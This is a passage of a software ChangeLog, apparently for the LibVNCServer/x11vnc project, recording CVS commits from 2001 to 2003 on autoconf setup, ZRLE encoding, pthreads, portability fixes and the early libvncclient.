classes/Makefile.in, config.h.in, configure, + contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, + libvncclient/Makefile.in, missing, mkinstalldirs, test/.cvsignore, + test/Makefile.in, vncterm/Makefile.in: 2002-09-11 Mark McLoughlin + * Makefile.in, */Makefile.in, aclocal.m4, bootstrap.sh, config.h.in, configure, depcomp, install-sh, missing, mkinstalldirs, Removed auto-generated files from CVS. + +2003-09-11 markmc + + * ChangeLog, NEWS, rdr/Exception.h, rdr/FdInStream.cxx, + rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, + rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, + rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, + rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, + rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, + rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: 2003-09-11 Mark + McLoughlin * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, rdr/FdOutStream.cxx, rdr/FdOutStream.h, + rdr/FixedMemOutStream.h, rdr/InStream.cxx, rdr/InStream.h, + rdr/MemInStream.h, rdr/MemOutStream.h, rdr/NullOutStream.cxx, + rdr/NullOutStream.h, rdr/OutStream.h, rdr/ZlibInStream.cxx, + rdr/ZlibInStream.h, rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, + rdr/types.h, zrle.cxx, zrleDecode.h, zrleEncode.h: remove original C++ ZRLE implementation. Its been ported to C. * NEWS: copy the existing ChangeLog to here and make this a more detailed ChangeLog. + +2003-09-08 dscho + + * AUTHORS, ChangeLog, Makefile.am, Makefile.in, autogen.sh, + classes/Makefile.in, config.h.in, configure, configure.ac, + contrib/Makefile.in, examples/Makefile.in, + libvncclient/Makefile.in, rfb/rfb.h, rfb/rfbproto.h, rfbserver.c, + test/Makefile.in, vncterm/Makefile.in, zrle.c, + zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h, + zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: ZRLE no + longer uses C++, but C + +2003-08-29 dscho + + * ChangeLog, Makefile.in, configure, configure.ac, + libvncclient/Makefile.in, test/Makefile.in, vncterm/Makefile.in: + added --disable-cxx flag to configure + +2003-08-18 dscho + + * contrib/x11vnc.c: Karl Runge: 8bpp handling now much better, + single window also, many improvements + +2003-08-18 dscho + + * httpd.c, main.c, rfbserver.c, sockets.c: socklen_t -> size_t + +2003-08-18 dscho + + * Makefile.in, aclocal.m4, classes/Makefile.in, config.h.in, + contrib/Makefile.in, examples/Makefile.in, vncterm/Makefile.in: + using autoconf 1.6 + +2003-08-09 dscho + + * README: added Projects section + +2003-08-08 dscho + + * .cvsignore, classes/.cvsignore, libvncclient/.cvsignore, + test/.cvsignore: more files to ignore + +2003-08-08 dscho + + * libvncclient/rfbproto.c, libvncclient/tight.c, + libvncclient/zlib.c, main.c, rfbserver.c: make --without-jpeg, + --without-zlib work + +2003-08-08 dscho + + * AUTHORS, configure, configure.ac: add --without-jpeg, + --without-zlib; repair --without-backchannel, --without-24bpp + +2003-08-08 dscho + + * httpd.c, sockets.c: handle EINTR after select() + +2003-08-06 dscho + + * ChangeLog, auth.c, contrib/x11vnc.c, examples/fontsel.c, + examples/mac.c, httpd.c, main.c, rfb/rfb.h, rfbregion.c, + rfbserver.c, rre.c, sockets.c, translate.c, vncterm/LinuxVNC.c, + vncterm/VNCommand.c, zlib.c: rfbErr introduced + +2003-08-03 dscho + + * rfb/rfbproto.h: forgot to change WORDS_BIGENDIAN to + LIBVNCSERVER_BIGENDIAN; #undef VERSION unneccessary... + +2003-08-02 dscho + + * config.h.in, configure, configure.ac: really check for setsid, not + pgrp + +2003-08-02 dscho + + * main.c: overlooked endian config.h constant + +2003-08-02 dscho + + * config.h.in: required file + +2003-08-01 dscho + + * README, configure, configure.ac: mention NEWS in README, add + checks for fork and setpgrp + +2003-07-31 dscho + + * ChangeLog: credit last two changes to Erik + +2003-07-31 dscho + + * main.c, rfb/rfb.h, sockets.c: rfbLog can be overridden; EINTR on + read/write means just try again + +2003-07-30 dscho + + * Makefile.am, Makefile.in, rfb/rfb.h, rfb/rfbclient.h: add + rfbclient.h to distribution; avoid C++ style comments + +2003-07-30 dscho + + * AUTHORS, ChangeLog, Makefile.in, NEWS, README, acinclude.m4, + aclocal.m4, auth.c, cargs.c, classes/Makefile.in, configure, + configure.ac, contrib/Makefile.in, contrib/x11vnc.c, + contrib/zippy.c, corre.c, cursor.c, cutpaste.c, draw.c, + examples/Makefile.in, examples/example.c, examples/mac.c, + examples/pnmshow.c, examples/pnmshow24.c, examples/vncev.c, font.c, + hextile.c, httpd.c, libvncclient/Makefile.in, libvncclient/corre.c, + libvncclient/cursor.c, libvncclient/hextile.c, + libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, + libvncclient/sockets.c, libvncclient/tight.c, + libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, rfb/rfb.h, + rfb/rfbclient.h, rfb/rfbconfig.h.in, rfb/rfbproto.h, + rfb/rfbregion.h, rfbregion.c, rfbserver.c, rre.c, selbox.c, + sockets.c, stats.c, test/Makefile.in, tight.c, translate.c, + vncauth.c, vncterm/LinuxVNC.c, vncterm/Makefile.in, + vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, + zlib.c, zrle.cxx: API change: Bool, KeySym, Pixel get prefix "rfb"; + constants in rfbconfig.h get prefix "LIBVNCSERVER_" + +2003-07-29 dscho + + * cursor.c, libvncclient/client_test.c, libvncclient/rfbproto.c, + libvncclient/vncviewer.c, main.c, rfb/rfb.h, rfb/rfbclient.h, + test/tight-1.c, tight.c: further valgrinding showed leaked mallocs + +2003-07-28 dscho + + * ChangeLog, README.cvs: adapted dox + +2003-07-28 dscho + + * libvncclient/Makefile: is autoconfed now + +2003-07-28 dscho + + * Makefile.am, Makefile.in, aclocal.m4, classes/Makefile.in, + configure, configure.ac, contrib/Makefile.in, contrib/x11vnc.c, + contrib/zippy.c, examples/1instance.c, examples/Makefile.in, + examples/fontsel.c, examples/mac.c, examples/pnmshow.c, + examples/pnmshow24.c, examples/vncev.c, libvncclient/Makefile, + libvncclient/Makefile.am, libvncclient/Makefile.in, + libvncclient/client_test.c, libvncclient/corre.c, + libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, + libvncclient/sockets.c, libvncclient/tight.c, + libvncclient/vncviewer.c, libvncclient/zlib.c, main.c, + rdr/FdInStream.cxx, rdr/ZlibOutStream.cxx, rfb/rfb.h, + rfb/rfbclient.h, rfb/rfbconfig.h.in, rfbregion.c, rfbserver.c, + test/Makefile.am, test/Makefile.in, test/tight-1.c, tight.c, + vncterm/LinuxVNC.c, vncterm/Makefile.in, vncterm/VNCommand.c, + vncterm/VNConsole.c, vncterm/example.c: fixed maxRectsPerUpdate with + Tight encoding bug; some autoconfing; stderr should not be used in a + library (use rfbLog instead) + +2003-07-28 dscho + + * test/tight-1.c: first beginnings of automatic tests, thanks to + libvncclient + +2003-07-28 dscho + + * ChangeLog, TODO, main.c, rfb/rfb.h, rfb/rfbregion.h, rfbregion.c, + rfbserver.c, sockets.c, tight.c, vncauth.c: synced with TightVNC and + RealVNC + +2003-07-28 dscho + + * Makefile.am, Makefile.in, examples/Makefile.am, + examples/Makefile.in: debug flags + +2003-07-27 dscho + + * ChangeLog: libvncclient + +2003-07-27 dscho + + * libvncclient/Makefile, libvncclient/corre.c, + libvncclient/cursor.c, libvncclient/hextile.c, + libvncclient/listen.c, libvncclient/rfbproto.c, libvncclient/rre.c, + libvncclient/sockets.c, libvncclient/tight.c, + libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h, + vncauth.c: first alpha version of libvncclient + +2003-07-27 dscho + + * rfb/rfb.h, rfb/rfbproto.h, vncauth.c: make vncauth usable also for + upcoming libvncclient + +2003-07-25 dscho + + * ChangeLog, examples/.cvsignore, examples/Makefile.am, + examples/Makefile.in, examples/simple.c, examples/simple15.c, + index.html: Added simple examples + +2003-07-11 dscho + + * rfb/rfbconfig.h, rfb/rfbint.h: these files are generated by + configure + +2003-07-11 dscho + + * ChangeLog, httpd.c: long standing bug in http; was sending .jar + twice + +2003-07-10 dscho + + * INSTALL, Makefile.in, aclocal.m4, classes/Makefile.in, configure, + contrib/Makefile.in, depcomp, examples/Makefile.in, install-sh, + missing, mkinstalldirs, rfb/rfbconfig.h, rfb/rfbconfig.h.in, + rfb/rfbint.h, rfb/stamp-h.in, vncterm/Makefile.in: another try to + make CVS more helpful with configure + +2003-07-10 dscho + + * Makefile.am, classes/Makefile.am, configure.ac: also distribute + classes/ directory + +2003-07-10 dscho + + * cargs.c: fix compile + +2003-06-28 dscho + + * ChangeLog, cargs.c: http options inserted + +2003-05-05 dscho + + * configure.ac: fix am__fastdepCXX for system not having ZLIB + +2003-04-03 dscho + + * contrib/ChangeLog: added ChangeLog for x11vnc + +2003-04-03 dscho + + * contrib/x11vnc.c: new version from Karl! + +2003-02-28 dscho + + * Makefile.am, configure.ac, libvncserver-config.in: let + libvncserver-config behave as expected when called without + installing + +2003-02-27 dscho + + * README.cvs: added some documentation how to compile from CVS + sources + +2003-02-21 dscho + + * rfb/rfb.h: #include instead of #include + "rfbregion.h" + +2003-02-20 dscho + + * ChangeLog: update ChangeLog + +2003-02-20 dscho + + * index.html: #include instead of "rfb.h" + +2003-02-20 dscho + + * contrib/Makefile.am, contrib/x11vnc.c, contrib/zippy.c, + examples/Makefile.am, examples/colourmaptest.c, examples/example.c, + examples/fontsel.c, examples/mac.c, examples/pnmshow.c, + examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, + libvncserver-config.in, vncterm/Makefile.am, vncterm/VNConsole.h: + the correct way to include rfb.h is now "#include " + +2003-02-19 dscho + + * index.html: webpage update + +2003-02-19 dscho + + * rfb/.cvsignore: forgotten .cvsignore + +2003-02-19 dscho + + * Makefile.am: fixed header installation into $(prefix)/include/rfb + +2003-02-18 dscho + + * Makefile.am, configure.ac, include/.cvsignore, + include/default8x16.h, include/keysym.h, include/rfb.h, + include/rfbproto.h, include/rfbregion.h, rfb/default8x16.h, + rfb/keysym.h, rfb/rfb.h, rfb/rfbproto.h, rfb/rfbregion.h: moved + include/ to rfb/ + +2003-02-18 dscho + + * sockets.c: fixed a bug when closing a client if no longer + listening for new clients. + +2003-02-17 dscho + + * cursor.c, include/rfb.h: export rfbReverseBytes; undefine VERSION, + because it's too common + +2003-02-17 dscho + + * INSTALL: INSTALL is copied by automake + +2003-02-17 dscho + + * INSTALL: INSTALL was missing + +2003-02-16 dscho + + * configure.ac, libvncserver-config.in: fixed --link option to + libvncserver-config + +2003-02-10 dscho + + * cvs_update_anonymously, include/rfbproto.h: cvs more flexible now; + ZRLE encoding only when HAVE_ZRLE defined + +2003-02-10 dscho + + * ChangeLog, rfbserver.c: really fixed ClientConnectionGone problem + +2003-02-10 dscho + + * vncterm/LinuxVNC.c, vncterm/VNConsole.c: fixed LinuxVNC colours + +2003-02-10 dscho + + * main.c, rfbserver.c: fixed a bug that prevented the first + connection to be closed + +2003-02-10 dscho + + * include/rfb.h: fixed pthread debugging (locks...) + +2003-02-10 dscho + + * contrib/Makefile.am, examples/Makefile.am, vncterm/Makefile.am: + fixed dependecy to libvncserver.a; if the lib is newer, the programs + are relinked + +2003-02-10 dscho + + * go: removed superfluous file + +2003-02-10 dscho + + * examples/.cvsignore, examples/Makefile.am, + examples/colourmaptest.c, vncterm/VNConsole.c: added + colourmapexample; fixed LinuxVNC to show the right colours + +2003-02-09 dscho + + * ChangeLog: vncterm imported, porting issues solved (IRIX, OS X, + Solaris) + +2003-02-09 dscho + + * configure.ac, examples/Makefile.am, examples/mac.c, + vncterm/Makefile.am, vncterm/VNCommand.c: support for OS X is better + now + +2003-02-09 dscho + + * configure.ac, examples/Makefile.am: trying again to support OS X + +2003-02-09 dscho + + * Makefile.am, configure.ac, examples/.cvsignore, + vncterm/.cvsignore, vncterm/ChangeLog, vncterm/LinuxVNC.c, + vncterm/Makefile.am, vncterm/README, vncterm/TODO, + vncterm/VNCommand.c, vncterm/VNConsole.c, vncterm/VNConsole.h, + vncterm/example.c, vncterm/vga.h: included vncterm + +2003-02-09 dscho + + * .cvsignore, configure.ac, examples/mac.c, mac.c: moved the + OSXvnc-server to examples; IRIX fixes (not really IRIX, but shows + there) + +2003-02-09 dscho + + * Makefile.am, examples/Makefile.am, examples/regiontest.c, + examples/sratest.c, include/rfbregion.h, main.c, rfbregion.c, + rfbserver.c, sraRegion.c, sraRegion.h, translate.c: renamed + sraRegion to rfbregion and put it in include/; will be installed now + +2003-02-09 dscho + + * ChangeLog: portability changes + +2003-02-09 dscho + + * configure.ac: order of X libraries is not good for IRIX + +2003-02-09 dscho + + * configure.ac, main.c: include order was wrong + +2003-02-09 dscho + + * Makefile.in, configure, contrib/Makefile.in, examples/Makefile.in: + source from CVS always will need a current autoconf/automake + +2003-02-09 dscho + + * Makefile.in, acinclude.m4, configure, contrib/Makefile.in, + examples/Makefile.in: I give up supporting old autoconf/automake; + now require at least 2.52 + +2003-02-09 dscho + + * acinclude.m4: more macros included for older autoconf/automake + +2003-02-09 dscho + + * Makefile.am, TODO, acinclude.m4, auth.c, configure.ac, + contrib/x11vnc.c, corre.c, cursor.c, cutpaste.c, hextile.c, + httpd.c, include/.cvsignore, include/rfb.h, include/rfbproto.h, + main.c, rfbserver.c, rre.c, sockets.c, sraRegion.c, stats.c, + tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c, + tabletrans24template.c, tabletranstemplate.c, tight.c, translate.c, + vncauth.c, zlib.c, zrle.cxx: converted CARD{8,16,32} to + uint{8,16,32}_t and included support for stdint.h + +2003-02-09 dscho + + * .cvsignore: ignore libvncserver-config + +2003-02-09 dscho + + * configure.ac, include/rfb.h, main.c: bigendian is now determined + at configure time + +2003-02-09 dscho + + * index.html: added website + +2003-02-09 dscho + + * Makefile.am, configure.ac: small adjustments for autoconf/automake + compatibility + +2003-02-09 dscho + + * Makefile.am, configure.ac, contrib/Makefile.am, + examples/Makefile.am, examples/vncev.c, libvncserver-config.in, + libvncserver.spec.in: make dist fixed; make rpm introduced + +2003-02-08 dscho + + * .cvsignore, Makefile, bootstrap.sh, contrib/.cvsignore, + contrib/Makefile, examples/.cvsignore, examples/Makefile: removed + Makefiles; these are generated now + +2003-02-08 dscho + + * .cvsignore, contrib/.cvsignore, examples/.cvsignore, + libvncserver.spec.in: ignore generated files + +2003-02-08 dscho + + * contrib/.cvsignore, examples/.cvsignore, examples/blooptest.c, + examples/sratest.c, include/.cvsignore: missing files + +2003-02-08 dscho + + * AUTHORS, CHANGES, ChangeLog, NEWS, TODO: further autoconf'ing + +2003-02-08 dscho + + * Makefile, Makefile.am, TODO, bootstrap.sh, configure.ac, + contrib/Makefile, contrib/Makefile.am, examples/Makefile, + examples/Makefile.am, examples/example.c, include/rfb.h, + include/rfbproto.h, main.c, rfbserver.c, sockets.c, tight.c, + zlib.c, zrle.cc, zrle.cxx: autoconf'ed everything + +2003-02-07 dscho + + * examples/.cvsignore, examples/radon.h: added files + +2003-02-07 dscho + + * cvs_update_anonymously, examples/Makefile: added Makefile in + examples; "export" in cvs_update_anonymously + +2003-02-07 dscho + + * 1instance.c, Makefile, contrib/Makefile, contrib/zippy.c, + default8x16.h, examples/1instance.c, examples/pnmshow24.c, + include/default8x16.h, include/keysym.h, include/rfb.h, + include/rfbproto.h, keysym.h, main.c, radon.h, rfb.h, rfbproto.h: + moved files to include; moved a file to examples/ + +2003-02-07 dscho + + * CHANGES, example.c, example.dsp, examples/example.c, + examples/example.dsp, examples/fontsel.c, examples/pnmshow.c, + examples/pnmshow24.c, examples/storepasswd.c, examples/vncev.c, + fontsel.c, pnmshow.c, pnmshow24.c, storepasswd.c, vncev.c: moved + files to contrib/ and examples/ + +2002-12-30 dscho + + * CHANGES, cargs.c: fixed cargs (segmentation fault!) + +2002-12-25 dscho + + * contrib/x11vnc.c: strange, but standard X11 behaviour from Sun + keymappings... + +2002-12-20 dscho + + * contrib/x11vnc.c: include commented debug functionality + +2002-12-20 dscho + + * contrib/x11vnc.c: AltGr fixes in x11vnc, renamed from altgr to + modtweak + +2002-12-20 dscho + + * Makefile: fixed compilation for zippy + +2002-12-20 dscho + + * contrib/Makefile: Makefile for contrib + +2002-12-19 dscho + + * contrib/x11vnc.c, contrib/zippy.c: new version of x11vnc from Karl + Runge + +2002-12-15 dscho + + * contrib/x11vnc.c: small fixes: in X11/Xlib.h Bool is int (Karl + Runge); indexed colour support + +2002-12-15 dscho + + * Makefile, rfbserver.c: fix: if no CXX is defined, really don't use + zrle (Karl Runge) + +2002-12-06 dscho + + * CHANGES, Makefile, contrib/x11vnc.c, contrib/zippy.c, httpd.c, + main.c, rfb.h, x11vnc.c, zippy.c: compiler warnings, contrib + directory, new x11vnc from Karl Runge + +2002-10-29 dscho + + * CHANGES, main.c, rfbserver.c: fixed severe bug with sending + fbupdates + +2002-10-29 dscho + + * CHANGES, README, cursor.c, main.c, rfb.h, rfbproto.h, + rfbserver.c, stats.c: patch from Const for CursorPosUpdate encoding + +2002-10-22 dscho + + * rdr/Exception.h, rdr/FdInStream.cxx, rdr/FdInStream.h, + rdr/FdOutStream.cxx, rdr/FdOutStream.h, rdr/FixedMemOutStream.h, + rdr/InStream.cxx, rdr/InStream.h, rdr/MemInStream.h, + rdr/MemOutStream.h, rdr/NullOutStream.cxx, rdr/NullOutStream.h, + rdr/OutStream.h, rdr/ZlibInStream.cxx, rdr/ZlibInStream.h, + rdr/ZlibOutStream.cxx, rdr/ZlibOutStream.h, rdr/types.h: rdr + +2002-10-22 dscho + + * Makefile, corre.c, cvs_update_anonymously, httpd.c, main.c, + rfb.h, rfbproto.h, rfbserver.c, stats.c, zrle.cc, zrleDecode.h, + zrleEncode.h: updated to vnc-3.3.4 (ZRLE encoding) + +2002-08-31 dscho + + * x11vnc.c: patch for IRIX + +2002-08-31 dscho + + * cvs_update_anonymously, httpd.c, rfbserver.c, vncauth.c: socket + via proxy gets options set, compiler warning fixes + +2002-08-31 dscho + + * Makefile, cvs_update_anonymously, httpd.c, mac.c, pnmshow24.c, + vncev.c, x11vnc.c, zippy.c: compiler warnings and format + vulnerabilities fixed + +2002-08-27 dscho + + * Makefile, httpd.c: IRIX changes + +2002-08-22 dscho + + * CHANGES: changes + +2002-08-22 dscho + + * classes/javaviewer.pseudo_proxy.patch, example.c, httpd.c, + main.c, rfb.h: a pseudo HTTP request for tunnelling (also via strict + Web Proxy) was added. + +2002-08-22 dscho + + * classes/index.vnc, httpd.c, vncauth.c: synchronized with tightVNC + 1.2.5 + +2002-08-19 dscho + + * Makefile, auth.c, cursor.c, example.c, httpd.c, main.c, + pnmshow.c, rfb.h, rfbserver.c, sraRegion.c, sraRegion.h, tight.c, + vncauth.c: unwarn compilation + +2002-07-28 dscho + + * CHANGES, README: prepare for version 0.4 + +2002-07-28 dscho + + * CHANGES, classes/index.vnc, example.c, httpd.c, main.c, rfb.h, + rfbproto.h, rfbserver.c, stats.c: NewFB encoding added + +2002-06-13 dscho + + * main.c, rfbserver.c, sockets.c: pthread fix + +2002-05-03 dscho + + * Makefile, rfb.h: solaris fixes (INADDR_NONE) + +2002-05-02 dscho + + * selbox.c: index was shadowed + +2002-05-02 dscho + + * cursor.c, font.c, httpd.c, main.c, rfb.h, rfbserver.c, sockets.c, + sraRegion.c, stats.c, tableinit24.c, tight.c, translate.c: Tim's + Changes + +2002-04-30 dscho + + * cargs.c, rfb.h: command line handling + +2002-04-30 dscho + + * Makefile, mac.c: more mac + +2002-04-30 dscho + + * mac.c: dimming for mac + +2002-04-30 dscho + + * mac.c: Mac compile fix + +2002-04-25 dscho + + * Makefile, x11vnc.c: x11vnc memleaks patched + +2002-04-25 dscho + + * CHANGES, cursor.c, example.c, main.c, rfbserver.c: memleaks + patched + +2002-04-25 dscho + + * mac.c: now colour handling should be correct + +2002-04-24 dscho + + * main.c: bug for 3 bpp planes (as Mac OSX) + +2002-04-23 dscho + + * CHANGES, classes/index.vnc, httpd.c, rfbserver.c, sockets.c: sync + with TightVNC 1.2.3 + +2002-04-23 dscho + + * Makefile, mac.c: OSXvnc-server compile fixes + +2002-04-23 dscho + + * CHANGES, Makefile, rfb.h: another solaris clean compile + +2002-04-23 dscho + + * x11vnc.c: KBDDEBUG + +2002-04-23 dscho + + * main.c, rfb.h: solaris endian changes + +2002-03-04 dscho + + * Makefile, rfbserver.c, sockets.c: reverted exception fds to NULL, + because of unexpected behaviour + +2002-02-19 dscho + + * CHANGES: changes + +2002-02-18 dscho + + * sockets.c: select exceptfds + +2002-02-18 dscho + + * README, cursor.c, example.c, httpd.c, main.c, rfb.h, rfbserver.c, + sockets.c, tight.c, translate.c: changes from Tim Jansen: threading + issues, new client can be rejected, and more + +2002-01-17 dscho + + * 1instance.c, Makefile: compile warning fix, dependency on + 1instance.c + +2002-01-17 dscho + + * mac.c: compile warning fix + +2002-01-17 dscho + + * font.c, rfb.h, rfbproto.h, rfbserver.c, vncauth.c: correct + BackChannel handling, compile cleanups + +2002-01-16 dscho + + * mac.c: compile fix + +2002-01-16 dscho + + * 1instance.c, Makefile, cargs.c, mac.c, rfb.h, rfbproto.h, + rfbserver.c, x11vnc.c: clean ups and encoding "backchannel" + +2002-01-14 dscho + + * mac.c: fixed compile on MAC + +2002-01-14 dscho + + * mac.c: toggle view only with OSX + +2002-01-14 dscho + + * 1instance.c, x11vnc.c: view mode now toggleable + +2001-12-21 dscho + + * mac.c, x11vnc.c: shared mode added + +2001-12-14 dscho + + * cargs.c, main.c: *argc=0 in cargs allowed, when copying area, + first undraw cursor ... + +2001-12-11 dscho + + * mac.c: fixed osx compiling + +2001-12-09 dscho + + * Makefile, mac.c: Makefile cleanup, some special options for OSX + +2001-12-09 dscho + + * x11vnc.c: tile modus now near perfect (shm's better though) + +2001-12-08 dscho + + * x11vnc.c: start to probe single pixels for updates + +2001-11-27 dscho + + * TODO, x11vnc.c: fixed dumb XTestFakeInput bug + +2001-11-27 dscho + + * TODO, x11vnc.c: removed XTestGrabControl. Doesn't really solve the + problem of a bad param. + +2001-11-27 dscho + + * TODO, x11vnc.c: few changes + +2001-11-27 dscho + + * Makefile, x11vnc.c: input works on other X11 servers than XFree86 + +2001-11-26 dscho + + * TODO, x11vnc.c: no crash when display was wrong + +2001-11-26 dscho + + * TODO: todo + +2001-11-25 dscho + + * x11vnc.c: init keyboard now takes correct display + +2001-11-23 dscho + + * x11vnc.c: keyboard handling now works. + +2001-11-22 dscho + + * x11vnc.c: added cmd line parameters + +2001-11-21 dscho + + * CHANGES: changes + +2001-11-20 dscho + + * x11vnc.c: shm works again + +2001-11-20 dscho + + * Makefile, x11vnc.c: missing include for XTest + +2001-11-19 dscho + + * x11vnc.c: x11vnc now works with colour maps + +2001-11-19 dscho + + * x11vnc.c: tmp + +2001-11-19 dscho + + * x11vnc.c: first support for colourmaps + +2001-11-19 dscho + + * Makefile, x11vnc.c: works, but loads high + +2001-11-19 dscho + + * cargs.c, main.c, rfb.h: cmdline arg -passwd added + +2001-11-19 dscho + + * Makefile, x11vnc.c: x11vnc now works view only and with SHM + +2001-11-18 dscho + + * Makefile, example.c, main.c, rfb.h, rfbserver.c, x11vnc.c: start + x11vnc, an x0rfbserver clone + +2001-11-15 dscho + + * example.dsp, libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, + rfbserver.c, sockets.c: Visual C++ / win32 compatibility + reestablished + +2001-11-14 dscho + + * Makefile, TODO, font.c: docu, warning fixed + +2001-11-14 dscho + + * CHANGES: changes + +2001-11-14 dscho + + * cargs.c: separated argument handling from main.c + +2001-11-14 dscho + + * Makefile, d3des.h, example.c, fontsel.c, keysym.h, mac.c, main.c, + pnmshow.c, pnmshow24.c, rfb.h, rfbproto.h, sraRegion.h, vncev.c, + zippy.c: changes from Justin, zippy added + +2001-11-08 dscho + + * main.c: gettimeofday for windows + +2001-10-25 dscho + + * Makefile, main.c, rfbserver.c, sraRegion.c, sraRegion.h: clean ups + +2001-10-19 dscho + + * CHANGES: changes + +2001-10-18 dscho + + * Makefile, TODO, draw.c, main.c, rfb.h, vncev.c: add rfbDrawLine, + rfbDrawPixel and vncev, an xev "lookalike" + +2001-10-16 dscho + + * main.c: scheduleCopyRegion no longer sends frameBufferUpdates (no + longer clobbers deferring) + +2001-10-16 dscho + + * CHANGES, TODO, main.c, rfb.h, rfbserver.c: deferUpdate + +2001-10-16 dscho + + * TODO, font.c, rfbserver.c: font errors, requestedRegion bug + +2001-10-15 dscho + + * .gdb_history: unneccessary file + +2001-10-13 dscho + + * font.c: INT_MAX maybe not defined + +2001-10-13 dscho + + * TODO: todo + +2001-10-13 dscho + + * CHANGES, Makefile, README, TODO, auth.c, bdf2c.pl, + consolefont2c.pl, cursor.c, default8x16.h, draw.c, font.c, + fontsel.c, keysym.h, main.c, radon.h, rfb.h, selbox.c: rfbSelectBox, + consoleFonts, too many changes + +2001-10-12 dscho + + * Makefile: changes to Makefile + +2001-10-12 dscho + + * README, rfb.h, rfbserver.c: cleanups + +2001-10-11 dscho + + * auth.c, corre.c, httpd.c, main.c, rfb.h, rfbserver.c, rre.c, + sockets.c, sraRegion.c, tableinit24.c, tableinittctemplate.c, + tight.c, zlib.c: replaced xalloc with malloc functions, udp input + support (untested), fixed http + +2001-10-10 dscho + + * CHANGES, TODO, main.c, rfb.h, rfbserver.c: copyrect corrections, + fd_set in rfbNewClient, dox in rfb.h for pthreads problem + +2001-10-10 dscho + + * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: + pthreads corrections + +2001-10-09 dscho + + * sockets.c: start udp + +2001-10-08 dscho + + * Makefile, region.h, rfbserver.c: removes region.h + +2001-10-07 dscho + + * Makefile, README, tabletrans24template.c: fixed 24bit (update was + garbled) + +2001-10-07 dscho + + * bdf2c.pl, font.c, main.c, rfb.h, rfbserver.c: font corrections, + displayHook + +2001-10-06 dscho + + * README, d3des.c, example.c, example.dsp, httpd.c, kbdptr.c, + libvncserver.dsp, libvncserver.dsw, main.c, rfb.h, rfbserver.c, + sockets.c, tableinitcmtemplate.c, tight.c, translate.c, vncauth.c: + WIN32 compatibility, removed kbdptr.c + +2001-10-05 dscho + + * CHANGES, TODO, cursor.c, example.c, main.c, rfb.h, rfbserver.c: + changed cursor functions to use screen info, not cursor fixed copy + rect. + +2001-10-05 dscho + + * Makefile, bdf2c.pl, example.c, font.c, radon.h, rfb.h: extracted + font routines from example + +2001-10-04 dscho + + * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c: + rfbDoCopyRect/Region and rfbScheduleCopyRect/Region. + +2001-10-04 dscho + + * rfb.h: tried to compile on Sparcs. Original cc has problems. ar + isn't there. + +2001-10-04 dscho + + * CHANGES, TODO, cursor.c, main.c, rfb.h, rfbserver.c: fixed 2 + pthreads issues, added noXCursor option. + +2001-10-03 dscho + + * TODO, main.c: working on IRIX pthreads problem + +2001-10-03 dscho + + * TODO, rfbserver.c: java viewer bug fixed + +2001-10-03 dscho + + * CHANGES, Makefile, TODO, main.c, rfb.h, rfbserver.c, sockets.c, + stats.c, tight.c: upgraded to TridiaVNC 1.2.1 + +2001-10-02 dscho + + * Makefile, TODO, cursor.c, d3des.c, main.c, rfb.h, rfbserver.c, + sockets.c, translate.c, vncauth.c: no more compile warnings, pthread + final(?) fixes + +2001-10-02 dscho + + * TODO: some todo items + +2001-10-02 dscho + + * CHANGES, cursor.c, rfb.h: implemented rfbSetCursor + +2001-10-02 dscho + + * rfb.h: prototype for rfbSendBell + +2001-10-02 dscho + + * CHANGES: changes + +2001-10-02 dscho + + * pnmshow24.c, tableinit24.c, tabletrans24template.c: forgot files + for 3 bpp + +2001-10-02 dscho + + * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, + sockets.c, tableinitcmtemplate.c, translate.c: support for server + side colour maps, fix for non-pthread, support for 3bpp + +2001-10-01 dscho + + * TODO: have to upgrade to newest VNC sources + +2001-09-29 dscho + + * Makefile, README, TODO, example.c, main.c, rfb.h, rfbserver.c, + sockets.c: finally fixed pthreads + +2001-09-29 dscho + + * TODO, cursor.c: nother try + +2001-09-29 dscho + + * Makefile, cursor.c, main.c, rfb.h, rfbserver.c, sockets.c: more + pthread debugging + +2001-09-29 dscho + + * Makefile, main.c, rfb.h: cleaned up pthreads (now compiles) and + rfb.h (first undefine TRUE) + +2001-09-29 dscho + + * Makefile, README, TODO, include/X11/X.h, include/X11/Xalloca.h, + include/X11/Xfuncproto.h, include/X11/Xfuncs.h, include/X11/Xmd.h, + include/X11/Xos.h, include/X11/Xosdefs.h, include/X11/Xproto.h, + include/X11/Xprotostr.h, include/X11/keysym.h, + include/X11/keysymdef.h, include/Xserver/colormap.h, + include/Xserver/cursor.h, include/Xserver/dix.h, + include/Xserver/gc.h, include/Xserver/input.h, + include/Xserver/misc.h, include/Xserver/miscstruct.h, + include/Xserver/opaque.h, include/Xserver/os.h, + include/Xserver/pixmap.h, include/Xserver/region.h, + include/Xserver/regionstr.h, include/Xserver/screenint.h, + include/Xserver/scrnintstr.h, include/Xserver/validate.h, + include/Xserver/window.h, main.c, miregion.c, region.h, rfb.h, + rfbserver.c, sraRegion.c, sraRegion.h, translate.c, xalloc.c: + dropped miregion and all the X stuff in favour of Wez' sraRegion, + added dox + +2001-09-28 dscho + + * cursor.c, rfb.h: exported rfbReverseByte + +2001-09-28 dscho + + * cursor.c: don't send a cursor update if there is no cursor + +2001-09-28 dscho + + * README, TODO: small changes to README (contact) and TODO + (autoconf?) + +2001-09-28 dscho + + 